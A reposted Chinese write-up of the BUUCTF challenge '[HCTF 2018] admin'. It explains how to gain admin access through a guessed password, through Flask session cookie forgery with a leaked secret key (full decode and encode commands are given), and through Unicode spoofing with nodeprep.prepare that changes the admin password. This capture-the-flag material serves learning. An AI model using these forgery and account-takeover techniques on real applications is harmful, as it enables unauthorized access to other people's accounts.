概述
文章目录
- 题目说明
- 玄学 非预期解
- flask session伪造(也是非预期解)
- 找秘钥
- 伪造session
- unicode欺骗(预期解法)
- 写在最后
题目说明
题目来源于BUUCTF,链接:点我查看
玄学 非预期解
题目名称为admin,应该是让用admin登录
源码中也印证了这一点
登录页面乱输密码试了下,输入123时然后它就登进去了!!!
这样的话暴力破解也能得到flag,但是以buuctf的web题难度想着不可能那么简单,于是搜了下wp,结合别人的wp又学到了不少,在此记录下
flask session伪造(也是非预期解)
flask中session是存储在客户端cookie中的,也就是存储在本地。我们可以修改session达到伪造admin用户的效果。
github有相应的脚本:点我查看
但是session是加密的,我们需要知道秘钥才能修改session
找秘钥
注册个账号登录后在修改密码页面有git源码
下载下来在config.py中发现秘钥
伪造session
然后我们就可以用脚本伪造session了
先解密原来的session
python3 flask_session_cookie_manager3.
py decode -s "ckj123" -c ".eJw9kMGKwjAQhl9lmbOHbZuT4EFIt2whEwpTy-Qirq0mqXGhKtqI775VFk8D__fzDTN3WO-G7mRhfh4u3QzWroX5HT5-YA7YVAk2amRCz7FPlVQCCyU4_QrGo9XSOKS9UN5YDqseJaco-9uUZVqWjklFDtOMedQyv2qqMlPkV-ON51BHLMrA0QZTrJx6OqkNnNbTzjxTTTX1sMenI1YjFsbqphaKeNQNZ-hLr2krmFpn5HIBjxlsT8Nuff7tu-P7BE15ogu0iozTzXdkvxSY5qMie-C4F0aW1pBKkaqIobpxPHi8Ll46Fzb77m2qDytU_-S4CROABGZwOXXD62eQfMLjD-mobCE.Xq5sUg.8y1k1rWI_KY5cx0H4qGeLmOYtLw"
然后修改name为admin
python3 flask_session_cookie_manager3.
py encode -s "ckj123" -t "{'_fresh': True, 'name': 'admin', 'image': b'RUM3', 'user_id': '10', '_id': b'5d55c2a3cc960384c8caff3a86b58826abed46649158782ba33bbbc13810947da0f6cbe34bfc8fdeb3afe7fce55a71d0f3d533c424fa9e81629f762c978a7bd0', 'csrf_token': b'9158ca16b9b3b087a218ec88d2ae365436d1c9c7'}"
原来的session是这个样子
我们把左边的session修改成上面的session
就成功伪造了admin用户拿到flag
unicode欺骗(预期解法)
其实这个解法才是原作者预期解法,只不过当时作者写的代码不打严谨,导致出现了许多非预期解法。
阅读源码,我们可以发现注册登录修改密码都用到了strlower转换成小写。而且这个函数是自定义的
def strlower(username):
username = nodeprep.prepare(username)
return username
对于nodeprep.prepare函数就存在漏洞
对于字符ᴬ,调用一次函数会转换成A,再调用一次会转换成a
所以我们注册一个名为ᴬdmin的用户,正常登录。首页会显示我们的用户名为Admin
如果我们用Admin去修改密码,首先它调用strlower函数会把Admin转换为admin,这样我们其实就相当于改了admin的密码
然后我们用admin用户和刚才修改的密码即可登录
写在最后
尽管出题人疏忽了,但对我们而言又学到了许多姿势,继续加油吧!
最后
以上就是端庄音响为你收集整理的[HCTF 2018]admin wp题目说明玄学 非预期解flask session伪造(也是非预期解)unicode欺骗(预期解法)写在最后的全部内容,希望文章能够帮你解决[HCTF 2018]admin wp题目说明玄学 非预期解flask session伪造(也是非预期解)unicode欺骗(预期解法)写在最后所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复